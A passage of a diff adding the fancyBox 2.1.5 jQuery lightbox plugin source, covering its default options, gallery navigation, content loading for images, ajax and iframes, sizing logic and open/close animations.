navigator.userAgent.match(/msie/i), + didUpdate = null, + isTouch = document.createTouch !== undefined, + + isQuery = function(obj) { + return obj && obj.hasOwnProperty && obj instanceof $; + }, + isString = function(str) { + return str && $.type(str) === "string"; + }, + isPercentage = function(str) { + return isString(str) && str.indexOf('%') > 0; + }, + isScrollable = function(el) { + return (el && !(el.style.overflow && el.style.overflow === 'hidden') && ((el.clientWidth && el.scrollWidth > el.clientWidth) || (el.clientHeight && el.scrollHeight > el.clientHeight))); + }, + getScalar = function(orig, dim) { + var value = parseInt(orig, 10) || 0; + + if (dim && isPercentage(orig)) { + value = F.getViewport()[ dim ] / 100 * value; + } + + return Math.ceil(value); + }, + getValue = function(value, dim) { + return getScalar(value, dim) + 'px'; + }; + + $.extend(F, { + // The current version of fancyBox + version: '2.1.5', + + defaults: { + padding : 15, + margin : 20, + + width : 800, + height : 600, + minWidth : 100, + minHeight : 100, + maxWidth : 9999, + maxHeight : 9999, + pixelRatio: 1, // Set to 2 for retina display support + + autoSize : true, + autoHeight : false, + autoWidth : false, + + autoResize : true, + autoCenter : !isTouch, + fitToView : true, + aspectRatio : false, + topRatio : 0.5, + leftRatio : 0.5, + + scrolling : 'auto', // 'auto', 'yes' or 'no' + wrapCSS : '', + + arrows : true, + closeBtn : true, + closeClick : false, + nextClick : false, + mouseWheel : true, + autoPlay : false, + playSpeed : 3000, + preload : 3, + modal : false, + loop : true, + + ajax : { + dataType : 'html', + headers : { 'X-fancyBox': true } + }, + iframe : { + scrolling : 'auto', + preload : true + }, + swf : { + wmode: 'transparent', + allowfullscreen : 'true', + allowscriptaccess : 'always' + }, + + keys : { + next : { + 13 : 'left', // enter + 34 : 'up', // page down + 39 : 'left', // right arrow + 40 : 'up' // down arrow + }, + prev : { + 8 : 'right', // backspace + 33 : 'down', // page up + 37 : 'right', // left arrow + 38 : 'down' // up arrow + }, + close : [27], // escape key + play : [32], // space - start/stop slideshow + toggle : [70] // letter "f" - toggle fullscreen + }, + + direction : { + next : 'left', + prev : 'right' + }, + + scrollOutside : true, + + // Override some properties + index : 0, + type : null, + href : null, + content : null, + title : null, + + // HTML templates + tpl: { + wrap : '
    ', + image : '', + iframe : '', + error : '

    The requested content cannot be loaded.
    Please try again later.

    ', + closeBtn : '', + next : '', + prev : '' + }, + + // Properties for each animation type + // Opening fancyBox + openEffect : 'fade', // 'elastic', 'fade' or 'none' + openSpeed : 250, + openEasing : 'swing', + openOpacity : true, + openMethod : 'zoomIn', + + // Closing fancyBox + closeEffect : 'fade', // 'elastic', 'fade' or 'none' + closeSpeed : 250, + closeEasing : 'swing', + closeOpacity : true, + closeMethod : 'zoomOut', + + // Changing next gallery item + nextEffect : 'elastic', // 'elastic', 'fade' or 'none' + nextSpeed : 250, + nextEasing : 'swing', + nextMethod : 'changeIn', + + // Changing previous gallery item + prevEffect : 'elastic', // 'elastic', 'fade' or 'none' + prevSpeed : 250, + prevEasing : 'swing', + prevMethod : 'changeOut', + + // Enable default helpers + helpers : { + overlay : true, + title : true + }, + + // Callbacks + onCancel : $.noop, // If canceling + beforeLoad : $.noop, // Before loading + afterLoad : $.noop, // After loading + beforeShow : $.noop, // Before changing in current item + afterShow : $.noop, // After opening + beforeChange : $.noop, // Before changing gallery item + beforeClose : $.noop, // Before closing + afterClose : $.noop // After closing + }, + + //Current state + group : {}, // Selected group + opts : {}, // Group options + previous : null, // Previous element + coming : null, // Element being loaded + current : null, // Currently loaded element + isActive : false, // Is activated + isOpen : false, // Is currently open + isOpened : false, // Have been fully opened at least once + + wrap : null, + skin : null, + outer : null, + inner : null, + + player : { + timer : null, + isActive : false + }, + + // Loaders + ajaxLoad : null, + imgPreload : null, + + // Some collections + transitions : {}, + helpers : {}, + + /* + * Static methods + */ + + open: function (group, opts) { + if (!group) { + return; + } + + if (!$.isPlainObject(opts)) { + opts = {}; + } + + // Close if already active + if (false === F.close(true)) { + return; + } + + // Normalize group + if (!$.isArray(group)) { + group = isQuery(group) ? $(group).get() : [group]; + } + + // Recheck if the type of each element is `object` and set content type (image, ajax, etc) + $.each(group, function(i, element) { + var obj = {}, + href, + title, + content, + type, + rez, + hrefParts, + selector; + + if ($.type(element) === "object") { + // Check if is DOM element + if (element.nodeType) { + element = $(element); + } + + if (isQuery(element)) { + obj = { + href : element.data('fancybox-href') || element.attr('href'), + title : $('
    ').text( element.data('fancybox-title') || element.attr('title') ).html(), + isDom : true, + element : element + }; + + if ($.metadata) { + $.extend(true, obj, element.metadata()); + } + + } else { + obj = element; + } + } + + href = opts.href || obj.href || (isString(element) ? element : null); + title = opts.title !== undefined ? opts.title : obj.title || ''; + + content = opts.content || obj.content; + type = content ? 'html' : (opts.type || obj.type); + + if (!type && obj.isDom) { + type = element.data('fancybox-type'); + + if (!type) { + rez = element.prop('class').match(/fancybox\.(\w+)/); + type = rez ? rez[1] : null; + } + } + + if (isString(href)) { + // Try to guess the content type + if (!type) { + if (F.isImage(href)) { + type = 'image'; + + } else if (F.isSWF(href)) { + type = 'swf'; + + } else if (href.charAt(0) === '#') { + type = 'inline'; + + } else if (isString(element)) { + type = 'html'; + content = element; + } + } + + // Split url into two pieces with source url and content selector, e.g, + // "/mypage.html #my_id" will load "/mypage.html" and display element having id "my_id" + if (type === 'ajax') { + hrefParts = href.split(/\s+/, 2); + href = hrefParts.shift(); + selector = hrefParts.shift(); + } + } + + if (!content) { + if (type === 'inline') { + if (href) { + content = $( isString(href) ? href.replace(/.*(?=#[^\s]+$)/, '') : href ); //strip for ie7 + + } else if (obj.isDom) { + content = element; + } + + } else if (type === 'html') { + content = href; + + } else if (!type && !href && obj.isDom) { + type = 'inline'; + content = element; + } + } + + $.extend(obj, { + href : href, + type : type, + content : content, + title : title, + selector : selector + }); + + group[ i ] = obj; + }); + + // Extend the defaults + F.opts = $.extend(true, {}, F.defaults, opts); + + // All options are merged recursive except keys + if (opts.keys !== undefined) { + F.opts.keys = opts.keys ? $.extend({}, F.defaults.keys, opts.keys) : false; + } + + F.group = group; + + return F._start(F.opts.index); + }, + + // Cancel image loading or abort ajax request + cancel: function () { + var coming = F.coming; + + if (coming && false === F.trigger('onCancel')) { + return; + } + + F.hideLoading(); + + if (!coming) { + return; + } + + if (F.ajaxLoad) { + F.ajaxLoad.abort(); + } + + F.ajaxLoad = null; + + if (F.imgPreload) { + F.imgPreload.onload = F.imgPreload.onerror = null; + } + + if (coming.wrap) { + coming.wrap.stop(true, true).trigger('onReset').remove(); + } + + F.coming = null; + + // If the first item has been canceled, then clear everything + if (!F.current) { + F._afterZoomOut( coming ); + } + }, + + // Start closing animation if is open; remove immediately if opening/closing + close: function (event) { + F.cancel(); + + if (false === F.trigger('beforeClose')) { + return; + } + + F.unbindEvents(); + + if (!F.isActive) { + return; + } + + if (!F.isOpen || event === true) { + $('.fancybox-wrap').stop(true).trigger('onReset').remove(); + + F._afterZoomOut(); + + } else { + F.isOpen = F.isOpened = false; + F.isClosing = true; + + $('.fancybox-item, .fancybox-nav').remove(); + + F.wrap.stop(true, true).removeClass('fancybox-opened'); + + F.transitions[ F.current.closeMethod ](); + } + }, + + // Manage slideshow: + // $.fancybox.play(); - toggle slideshow + // $.fancybox.play( true ); - start + // $.fancybox.play( false ); - stop + play: function ( action ) { + var clear = function () { + clearTimeout(F.player.timer); + }, + set = function () { + clear(); + + if (F.current && F.player.isActive) { + F.player.timer = setTimeout(F.next, F.current.playSpeed); + } + }, + stop = function () { + clear(); + + D.unbind('.player'); + + F.player.isActive = false; + + F.trigger('onPlayEnd'); + }, + start = function () { + if (F.current && (F.current.loop || F.current.index < F.group.length - 1)) { + F.player.isActive = true; + + D.bind({ + 'onCancel.player beforeClose.player' : stop, + 'onUpdate.player' : set, + 'beforeLoad.player' : clear + }); + + set(); + + F.trigger('onPlayStart'); + } + }; + + if (action === true || (!F.player.isActive && action !== false)) { + start(); + } else { + stop(); + } + }, + + // Navigate to next gallery item + next: function ( direction ) { + var current = F.current; + + if (current) { + if (!isString(direction)) { + direction = current.direction.next; + } + + F.jumpto(current.index + 1, direction, 'next'); + } + }, + + // Navigate to previous gallery item + prev: function ( direction ) { + var current = F.current; + + if (current) { + if (!isString(direction)) { + direction = current.direction.prev; + } + + F.jumpto(current.index - 1, direction, 'prev'); + } + }, + + // Navigate to gallery item by index + jumpto: function ( index, direction, router ) { + var current = F.current; + + if (!current) { + return; + } + + index = getScalar(index); + + F.direction = direction || current.direction[ (index >= current.index ? 'next' : 'prev') ]; + F.router = router || 'jumpto'; + + if (current.loop) { + if (index < 0) { + index = current.group.length + (index % current.group.length); + } + + index = index % current.group.length; + } + + if (current.group[ index ] !== undefined) { + F.cancel(); + + F._start(index); + } + }, + + // Center inside viewport and toggle position type to fixed or absolute if needed + reposition: function (e, onlyAbsolute) { + var current = F.current, + wrap = current ? current.wrap : null, + pos; + + if (wrap) { + pos = F._getPosition(onlyAbsolute); + + if (e && e.type === 'scroll') { + delete pos.position; + + wrap.stop(true, true).animate(pos, 200); + + } else { + wrap.css(pos); + + current.pos = $.extend({}, current.dim, pos); + } + } + }, + + update: function (e) { + var type = (e && e.originalEvent && e.originalEvent.type), + anyway = !type || type === 'orientationchange'; + + if (anyway) { + clearTimeout(didUpdate); + + didUpdate = null; + } + + if (!F.isOpen || didUpdate) { + return; + } + + didUpdate = setTimeout(function() { + var current = F.current; + + if (!current || F.isClosing) { + return; + } + + F.wrap.removeClass('fancybox-tmp'); + + if (anyway || type === 'load' || (type === 'resize' && current.autoResize)) { + F._setDimension(); + } + + if (!(type === 'scroll' && current.canShrink)) { + F.reposition(e); + } + + F.trigger('onUpdate'); + + didUpdate = null; + + }, (anyway && !isTouch ? 0 : 300)); + }, + + // Shrink content to fit inside viewport or restore if resized + toggle: function ( action ) { + if (F.isOpen) { + F.current.fitToView = $.type(action) === "boolean" ? action : !F.current.fitToView; + + // Help browser to restore document dimensions + if (isTouch) { + F.wrap.removeAttr('style').addClass('fancybox-tmp'); + + F.trigger('onUpdate'); + } + + F.update(); + } + }, + + hideLoading: function () { + D.unbind('.loading'); + + $('#fancybox-loading').remove(); + }, + + showLoading: function () { + var el, viewport; + + F.hideLoading(); + + el = $('
    ').click(F.cancel).appendTo('body'); + + // If user will press the escape-button, the request will be canceled + D.bind('keydown.loading', function(e) { + if ((e.which || e.keyCode) === 27) { + e.preventDefault(); + + F.cancel(); + } + }); + + if (!F.defaults.fixed) { + viewport = F.getViewport(); + + el.css({ + position : 'absolute', + top : (viewport.h * 0.5) + viewport.y, + left : (viewport.w * 0.5) + viewport.x + }); + } + + F.trigger('onLoading'); + }, + + getViewport: function () { + var locked = (F.current && F.current.locked) || false, + rez = { + x: W.scrollLeft(), + y: W.scrollTop() + }; + + if (locked && locked.length) { + rez.w = locked[0].clientWidth; + rez.h = locked[0].clientHeight; + + } else { + // See http://bugs.jquery.com/ticket/6724 + rez.w = isTouch && window.innerWidth ? window.innerWidth : W.width(); + rez.h = isTouch && window.innerHeight ? window.innerHeight : W.height(); + } + + return rez; + }, + + // Unbind the keyboard / clicking actions + unbindEvents: function () { + if (F.wrap && isQuery(F.wrap)) { + F.wrap.unbind('.fb'); + } + + D.unbind('.fb'); + W.unbind('.fb'); + }, + + bindEvents: function () { + var current = F.current, + keys; + + if (!current) { + return; + } + + // Changing document height on iOS devices triggers a 'resize' event, + // that can change document height... repeating infinitely + W.bind('orientationchange.fb' + (isTouch ? '' : ' resize.fb') + (current.autoCenter && !current.locked ? ' scroll.fb' : ''), F.update); + + keys = current.keys; + + if (keys) { + D.bind('keydown.fb', function (e) { + var code = e.which || e.keyCode, + target = e.target || e.srcElement; + + // Skip esc key if loading, because showLoading will cancel preloading + if (code === 27 && F.coming) { + return false; + } + + // Ignore key combinations and key events within form elements + if (!e.ctrlKey && !e.altKey && !e.shiftKey && !e.metaKey && !(target && (target.type || $(target).is('[contenteditable]')))) { + $.each(keys, function(i, val) { + if (current.group.length > 1 && val[ code ] !== undefined) { + F[ i ]( val[ code ] ); + + e.preventDefault(); + return false; + } + + if ($.inArray(code, val) > -1) { + F[ i ] (); + + e.preventDefault(); + return false; + } + }); + } + }); + } + + if ($.fn.mousewheel && current.mouseWheel) { + F.wrap.bind('mousewheel.fb', function (e, delta, deltaX, deltaY) { + var target = e.target || null, + parent = $(target), + canScroll = false; + + while (parent.length) { + if (canScroll || parent.is('.fancybox-skin') || parent.is('.fancybox-wrap')) { + break; + } + + canScroll = isScrollable( parent[0] ); + parent = $(parent).parent(); + } + + if (delta !== 0 && !canScroll) { + if (F.group.length > 1 && !current.canShrink) { + if (deltaY > 0 || deltaX > 0) { + F.prev( deltaY > 0 ? 'down' : 'left' ); + + } else if (deltaY < 0 || deltaX < 0) { + F.next( deltaY < 0 ? 'up' : 'right' ); + } + + e.preventDefault(); + } + } + }); + } + }, + + trigger: function (event, o) { + var ret, obj = o || F.coming || F.current; + + if (obj) { + if ($.isFunction( obj[event] )) { + ret = obj[event].apply(obj, Array.prototype.slice.call(arguments, 1)); + } + + if (ret === false) { + return false; + } + + if (obj.helpers) { + $.each(obj.helpers, function (helper, opts) { + if (opts && F.helpers[helper] && $.isFunction(F.helpers[helper][event])) { + F.helpers[helper][event]($.extend(true, {}, F.helpers[helper].defaults, opts), obj); + } + }); + } + } + + D.trigger(event); + }, + + isImage: function (str) { + return isString(str) && str.match(/(^data:image\/.*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\?|#).*)?$)/i); + }, + + isSWF: function (str) { + return isString(str) && str.match(/\.(swf)((\?|#).*)?$/i); + }, + + _start: function (index) { + var coming = {}, + obj, + href, + type, + margin, + padding; + + index = getScalar( index ); + obj = F.group[ index ] || null; + + if (!obj) { + return false; + } + + coming = $.extend(true, {}, F.opts, obj); + + // Convert margin and padding properties to array - top, right, bottom, left + margin = coming.margin; + padding = coming.padding; + + if ($.type(margin) === 'number') { + coming.margin = [margin, margin, margin, margin]; + } + + if ($.type(padding) === 'number') { + coming.padding = [padding, padding, padding, padding]; + } + + // 'modal' propery is just a shortcut + if (coming.modal) { + $.extend(true, coming, { + closeBtn : false, + closeClick : false, + nextClick : false, + arrows : false, + mouseWheel : false, + keys : null, + helpers: { + overlay : { + closeClick : false + } + } + }); + } + + // 'autoSize' property is a shortcut, too + if (coming.autoSize) { + coming.autoWidth = coming.autoHeight = true; + } + + if (coming.width === 'auto') { + coming.autoWidth = true; + } + + if (coming.height === 'auto') { + coming.autoHeight = true; + } + + /* + * Add reference to the group, so it`s possible to access from callbacks, example: + * afterLoad : function() { + * this.title = 'Image ' + (this.index + 1) + ' of ' + this.group.length + (this.title ? ' - ' + this.title : ''); + * } + */ + + coming.group = F.group; + coming.index = index; + + // Give a chance for callback or helpers to update coming item (type, title, etc) + F.coming = coming; + + if (false === F.trigger('beforeLoad')) { + F.coming = null; + + return; + } + + type = coming.type; + href = coming.href; + + if (!type) { + F.coming = null; + + //If we can not determine content type then drop silently or display next/prev item if looping through gallery + if (F.current && F.router && F.router !== 'jumpto') { + F.current.index = index; + + return F[ F.router ]( F.direction ); + } + + return false; + } + + F.isActive = true; + + if (type === 'image' || type === 'swf') { + coming.autoHeight = coming.autoWidth = false; + coming.scrolling = 'visible'; + } + + if (type === 'image') { + coming.aspectRatio = true; + } + + if (type === 'iframe' && isTouch) { + coming.scrolling = 'scroll'; + } + + // Build the neccessary markup + coming.wrap = $(coming.tpl.wrap).addClass('fancybox-' + (isTouch ? 'mobile' : 'desktop') + ' fancybox-type-' + type + ' fancybox-tmp ' + coming.wrapCSS).appendTo( coming.parent || 'body' ); + + $.extend(coming, { + skin : $('.fancybox-skin', coming.wrap), + outer : $('.fancybox-outer', coming.wrap), + inner : $('.fancybox-inner', coming.wrap) + }); + + $.each(["Top", "Right", "Bottom", "Left"], function(i, v) { + coming.skin.css('padding' + v, getValue(coming.padding[ i ])); + }); + + F.trigger('onReady'); + + // Check before try to load; 'inline' and 'html' types need content, others - href + if (type === 'inline' || type === 'html') { + if (!coming.content || !coming.content.length) { + return F._error( 'content' ); + } + + } else if (!href) { + return F._error( 'href' ); + } + + if (type === 'image') { + F._loadImage(); + + } else if (type === 'ajax') { + F._loadAjax(); + + } else if (type === 'iframe') { + F._loadIframe(); + + } else { + F._afterLoad(); + } + }, + + _error: function ( type ) { + $.extend(F.coming, { + type : 'html', + autoWidth : true, + autoHeight : true, + minWidth : 0, + minHeight : 0, + scrolling : 'no', + hasError : type, + content : F.coming.tpl.error + }); + + F._afterLoad(); + }, + + _loadImage: function () { + // Reset preload image so it is later possible to check "complete" property + var img = F.imgPreload = new Image(); + + img.onload = function () { + this.onload = this.onerror = null; + + F.coming.width = this.width / F.opts.pixelRatio; + F.coming.height = this.height / F.opts.pixelRatio; + + F._afterLoad(); + }; + + img.onerror = function () { + this.onload = this.onerror = null; + + F._error( 'image' ); + }; + + img.src = F.coming.href; + + if (img.complete !== true) { + F.showLoading(); + } + }, + + _loadAjax: function () { + var coming = F.coming; + + F.showLoading(); + + F.ajaxLoad = $.ajax($.extend({}, coming.ajax, { + url: coming.href, + error: function (jqXHR, textStatus) { + if (F.coming && textStatus !== 'abort') { + F._error( 'ajax', jqXHR ); + + } else { + F.hideLoading(); + } + }, + success: function (data, textStatus) { + if (textStatus === 'success') { + coming.content = data; + + F._afterLoad(); + } + } + })); + }, + + _loadIframe: function() { + var coming = F.coming, + iframe = $(coming.tpl.iframe.replace(/\{rnd\}/g, new Date().getTime())) + .attr('scrolling', isTouch ? 'auto' : coming.iframe.scrolling) + .attr('src', coming.href); + + // This helps IE + $(coming.wrap).bind('onReset', function () { + try { + $(this).find('iframe').hide().attr('src', '//about:blank').end().empty(); + } catch (e) {} + }); + + if (coming.iframe.preload) { + F.showLoading(); + + iframe.one('load', function() { + $(this).data('ready', 1); + + // iOS will lose scrolling if we resize + if (!isTouch) { + $(this).bind('load.fb', F.update); + } + + // Without this trick: + // - iframe won't scroll on iOS devices + // - IE7 sometimes displays empty iframe + $(this).parents('.fancybox-wrap').width('100%').removeClass('fancybox-tmp').show(); + + F._afterLoad(); + }); + } + + coming.content = iframe.appendTo( coming.inner ); + + if (!coming.iframe.preload) { + F._afterLoad(); + } + }, + + _preloadImages: function() { + var group = F.group, + current = F.current, + len = group.length, + cnt = current.preload ? Math.min(current.preload, len - 1) : 0, + item, + i; + + for (i = 1; i <= cnt; i += 1) { + item = group[ (current.index + i ) % len ]; + + if (item.type === 'image' && item.href) { + new Image().src = item.href; + } + } + }, + + _afterLoad: function () { + var coming = F.coming, + previous = F.current, + placeholder = 'fancybox-placeholder', + current, + content, + type, + scrolling, + href, + embed; + + F.hideLoading(); + + if (!coming || F.isActive === false) { + return; + } + + if (false === F.trigger('afterLoad', coming, previous)) { + coming.wrap.stop(true).trigger('onReset').remove(); + + F.coming = null; + + return; + } + + if (previous) { + F.trigger('beforeChange', previous); + + previous.wrap.stop(true).removeClass('fancybox-opened') + .find('.fancybox-item, .fancybox-nav') + .remove(); + } + + F.unbindEvents(); + + current = coming; + content = coming.content; + type = coming.type; + scrolling = coming.scrolling; + + $.extend(F, { + wrap : current.wrap, + skin : current.skin, + outer : current.outer, + inner : current.inner, + current : current, + previous : previous + }); + + href = current.href; + + switch (type) { + case 'inline': + case 'ajax': + case 'html': + if (current.selector) { + content = $('
    ').html(content).find(current.selector); + + } else if (isQuery(content)) { + if (!content.data(placeholder)) { + content.data(placeholder, $('
    ').insertAfter( content ).hide() ); + } + + content = content.show().detach(); + + current.wrap.bind('onReset', function () { + if ($(this).find(content).length) { + content.hide().replaceAll( content.data(placeholder) ).data(placeholder, false); + } + }); + } + break; + + case 'image': + content = current.tpl.image.replace(/\{href\}/g, href); + break; + + case 'swf': + content = ''; + embed = ''; + + $.each(current.swf, function(name, val) { + content += ''; + embed += ' ' + name + '="' + val + '"'; + }); + + content += ''; + break; + } + + if (!(isQuery(content) && content.parent().is(current.inner))) { + current.inner.append( content ); + } + + // Give a chance for helpers or callbacks to update elements + F.trigger('beforeShow'); + + // Set scrolling before calculating dimensions + current.inner.css('overflow', scrolling === 'yes' ? 'scroll' : (scrolling === 'no' ? 'hidden' : scrolling)); + + // Set initial dimensions and start position + F._setDimension(); + + F.reposition(); + + F.isOpen = false; + F.coming = null; + + F.bindEvents(); + + if (!F.isOpened) { + $('.fancybox-wrap').not( current.wrap ).stop(true).trigger('onReset').remove(); + + } else if (previous.prevMethod) { + F.transitions[ previous.prevMethod ](); + } + + F.transitions[ F.isOpened ? current.nextMethod : current.openMethod ](); + + F._preloadImages(); + }, + + _setDimension: function () { + var viewport = F.getViewport(), + steps = 0, + canShrink = false, + canExpand = false, + wrap = F.wrap, + skin = F.skin, + inner = F.inner, + current = F.current, + width = current.width, + height = current.height, + minWidth = current.minWidth, + minHeight = current.minHeight, + maxWidth = current.maxWidth, + maxHeight = current.maxHeight, + scrolling = current.scrolling, + scrollOut = current.scrollOutside ? current.scrollbarWidth : 0, + margin = current.margin, + wMargin = getScalar(margin[1] + margin[3]), + hMargin = getScalar(margin[0] + margin[2]), + wPadding, + hPadding, + wSpace, + hSpace, + origWidth, + origHeight, + origMaxWidth, + origMaxHeight, + ratio, + width_, + height_, + maxWidth_, + maxHeight_, + iframe, + body; + + // Reset dimensions so we could re-check actual size + wrap.add(skin).add(inner).width('auto').height('auto').removeClass('fancybox-tmp'); + + wPadding = getScalar(skin.outerWidth(true) - skin.width()); + hPadding = getScalar(skin.outerHeight(true) - skin.height()); + + // Any space between content and viewport (margin, padding, border, title) + wSpace = wMargin + wPadding; + hSpace = hMargin + hPadding; + + origWidth = isPercentage(width) ? (viewport.w - wSpace) * getScalar(width) / 100 : width; + origHeight = isPercentage(height) ? (viewport.h - hSpace) * getScalar(height) / 100 : height; + + if (current.type === 'iframe') { + iframe = current.content; + + if (current.autoHeight && iframe.data('ready') === 1) { + try { + if (iframe[0].contentWindow.document.location) { + inner.width( origWidth ).height(9999); + + body = iframe.contents().find('body'); + + if (scrollOut) { + body.css('overflow-x', 'hidden'); + } + + origHeight = body.outerHeight(true); + } + + } catch (e) {} + } + + } else if (current.autoWidth || current.autoHeight) { + inner.addClass( 'fancybox-tmp' ); + + // Set width or height in case we need to calculate only one dimension + if (!current.autoWidth) { + inner.width( origWidth ); + } + + if (!current.autoHeight) { + inner.height( origHeight ); + } + + if (current.autoWidth) { + origWidth = inner.width(); + } + + if (current.autoHeight) { + origHeight = inner.height(); + } + + inner.removeClass( 'fancybox-tmp' ); + } + + width = getScalar( origWidth ); + height = getScalar( origHeight ); + + ratio = origWidth / origHeight; + + // Calculations for the content + minWidth = getScalar(isPercentage(minWidth) ? getScalar(minWidth, 'w') - wSpace : minWidth); + maxWidth = getScalar(isPercentage(maxWidth) ? getScalar(maxWidth, 'w') - wSpace : maxWidth); + + minHeight = getScalar(isPercentage(minHeight) ? getScalar(minHeight, 'h') - hSpace : minHeight); + maxHeight = getScalar(isPercentage(maxHeight) ? getScalar(maxHeight, 'h') - hSpace : maxHeight); + + // These will be used to determine if wrap can fit in the viewport + origMaxWidth = maxWidth; + origMaxHeight = maxHeight; + + if (current.fitToView) { + maxWidth = Math.min(viewport.w - wSpace, maxWidth); + maxHeight = Math.min(viewport.h - hSpace, maxHeight); + } + + maxWidth_ = viewport.w - wMargin; + maxHeight_ = viewport.h - hMargin; + + if (current.aspectRatio) { + if (width > maxWidth) { + width = maxWidth; + height = getScalar(width / ratio); + } + + if (height > maxHeight) { + height = maxHeight; + width = getScalar(height * ratio); + } + + if (width < minWidth) { + width = minWidth; + height = getScalar(width / ratio); + } + + if (height < minHeight) { + height = minHeight; + width = getScalar(height * ratio); + } + + } else { + width = Math.max(minWidth, Math.min(width, maxWidth)); + + if (current.autoHeight && current.type !== 'iframe') { + inner.width( width ); + + height = inner.height(); + } + + height = Math.max(minHeight, Math.min(height, maxHeight)); + } + + // Try to fit inside viewport (including the title) + if (current.fitToView) { + inner.width( width ).height( height ); + + wrap.width( width + wPadding ); + + // Real wrap dimensions + width_ = wrap.width(); + height_ = wrap.height(); + + if (current.aspectRatio) { + while ((width_ > maxWidth_ || height_ > maxHeight_) && width > minWidth && height > minHeight) { + if (steps++ > 19) { + break; + } + + height = Math.max(minHeight, Math.min(maxHeight, height - 10)); + width = getScalar(height * ratio); + + if (width < minWidth) { + width = minWidth; + height = getScalar(width / ratio); + } + + if (width > maxWidth) { + width = maxWidth; + height = getScalar(width / ratio); + } + + inner.width( width ).height( height ); + + wrap.width( width + wPadding ); + + width_ = wrap.width(); + height_ = wrap.height(); + } + + } else { + width = Math.max(minWidth, Math.min(width, width - (width_ - maxWidth_))); + height = Math.max(minHeight, Math.min(height, height - (height_ - maxHeight_))); + } + } + + if (scrollOut && scrolling === 'auto' && height < origHeight && (width + wPadding + scrollOut) < maxWidth_) { + width += scrollOut; + } + + inner.width( width ).height( height ); + + wrap.width( width + wPadding ); + + width_ = wrap.width(); + height_ = wrap.height(); + + canShrink = (width_ > maxWidth_ || height_ > maxHeight_) && width > minWidth && height > minHeight; + canExpand = current.aspectRatio ? (width < origMaxWidth && height < origMaxHeight && width < origWidth && height < origHeight) : ((width < origMaxWidth || height < origMaxHeight) && (width < origWidth || height < origHeight)); + + $.extend(current, { + dim : { + width : getValue( width_ ), + height : getValue( height_ ) + }, + origWidth : origWidth, + origHeight : origHeight, + canShrink : canShrink, + canExpand : canExpand, + wPadding : wPadding, + hPadding : hPadding, + wrapSpace : height_ - skin.outerHeight(true), + skinSpace : skin.height() - height + }); + + if (!iframe && current.autoHeight && height > minHeight && height < maxHeight && !canExpand) { + inner.height('auto'); + } + }, + + _getPosition: function (onlyAbsolute) { + var current = F.current, + viewport = F.getViewport(), + margin = current.margin, + width = F.wrap.width() + margin[1] + margin[3], + height = F.wrap.height() + margin[0] + margin[2], + rez = { + position: 'absolute', + top : margin[0], + left : margin[3] + }; + + if (current.autoCenter && current.fixed && !onlyAbsolute && height <= viewport.h && width <= viewport.w) { + rez.position = 'fixed'; + + } else if (!current.locked) { + rez.top += viewport.y; + rez.left += viewport.x; + } + + rez.top = getValue(Math.max(rez.top, rez.top + ((viewport.h - height) * current.topRatio))); + rez.left = getValue(Math.max(rez.left, rez.left + ((viewport.w - width) * current.leftRatio))); + + return rez; + }, + + _afterZoomIn: function () { + var current = F.current; + + if (!current) { + return; + } + + F.isOpen = F.isOpened = true; + + F.wrap.css('overflow', 'visible').addClass('fancybox-opened').hide().show(0); + + F.update(); + + // Assign a click event + if ( current.closeClick || (current.nextClick && F.group.length > 1) ) { + F.inner.css('cursor', 'pointer').bind('click.fb', function(e) { + if (!$(e.target).is('a') && !$(e.target).parent().is('a')) { + e.preventDefault(); + + F[ current.closeClick ? 'close' : 'next' ](); + } + }); + } + + // Create a close button + if (current.closeBtn) { + $(current.tpl.closeBtn).appendTo(F.skin).bind('click.fb', function(e) { + e.preventDefault(); + + F.close(); + }); + } + + // Create navigation arrows + if (current.arrows && F.group.length > 1) { + if (current.loop || current.index > 0) { + $(current.tpl.prev).appendTo(F.outer).bind('click.fb', F.prev); + } + + if (current.loop || current.index < F.group.length - 1) { + $(current.tpl.next).appendTo(F.outer).bind('click.fb', F.next); + } + } + + F.trigger('afterShow'); + + // Stop the slideshow if this is the last item + if (!current.loop && current.index === current.group.length - 1) { + + F.play( false ); + + } else if (F.opts.autoPlay && !F.player.isActive) { + F.opts.autoPlay = false; + + F.play(true); + } + }, + + _afterZoomOut: function ( obj ) { + obj = obj || F.current; + + $('.fancybox-wrap').trigger('onReset').remove(); + + $.extend(F, { + group : {}, + opts : {}, + router : false, + current : null, + isActive : false, + isOpened : false, + isOpen : false, + isClosing : false, + wrap : null, + skin : null, + outer : null, + inner : null + }); + + F.trigger('afterClose', obj); + } + }); + + /* + * Default transitions + */ + + F.transitions = { + getOrigPosition: function () { + var current = F.current, + element = current.element, + orig = current.orig, + pos = {}, + width = 50, + height = 50, + hPadding = current.hPadding, + wPadding = current.wPadding, + viewport = F.getViewport(); + + if (!orig && current.isDom && element.is(':visible')) { + orig = element.find('img:first'); + + if (!orig.length) { + orig = element; + } + } + + if (isQuery(orig)) { + pos = orig.offset(); + + if (orig.is('img')) { + width = orig.outerWidth(); + height = orig.outerHeight(); + } + + } else { + pos.top = viewport.y + (viewport.h - height) * current.topRatio; + pos.left = viewport.x + (viewport.w - width) * current.leftRatio; + } + + if (F.wrap.css('position') === 'fixed' || current.locked) { + pos.top -= viewport.y; + pos.left -= viewport.x; + } + + pos = { + top : getValue(pos.top - hPadding * current.topRatio), + left : getValue(pos.left - wPadding * current.leftRatio), + width : getValue(width + wPadding), + height : getValue(height + hPadding) + }; + + return pos; + }, + + step: function (now, fx) { + var ratio, + padding, + value, + prop = fx.prop, + current = F.current, + wrapSpace = current.wrapSpace, + skinSpace = current.skinSpace; + + if (prop === 'width' || prop === 'height') { + ratio = fx.end === fx.start ? 1 : (now - fx.start) / (fx.end - fx.start); + + if (F.isClosing) { + ratio = 1 - ratio; + } + + padding = prop === 'width' ? current.wPadding : current.hPadding; + value = now - padding; + + F.skin[ prop ]( getScalar( prop === 'width' ? value : value - (wrapSpace * ratio) ) ); + F.inner[ prop ]( getScalar( prop === 'width' ? value : value - (wrapSpace * ratio) - (skinSpace * ratio) ) ); + } + }, + + zoomIn: function () { + var current = F.current, + startPos = current.pos, + effect = current.openEffect, + elastic = effect === 'elastic', + endPos = $.extend({opacity : 1}, startPos); + + // Remove "position" property that breaks older IE + delete endPos.position; + + if (elastic) { + startPos = this.getOrigPosition(); + + if (current.openOpacity) { + startPos.opacity = 0.1; + } + + } else if (effect === 'fade') { + startPos.opacity = 0.1; + } + + F.wrap.css(startPos).animate(endPos, { + duration : effect === 'none' ? 0 : current.openSpeed, + easing : current.openEasing, + step : elastic ? this.step : null, + complete : F._afterZoomIn + }); 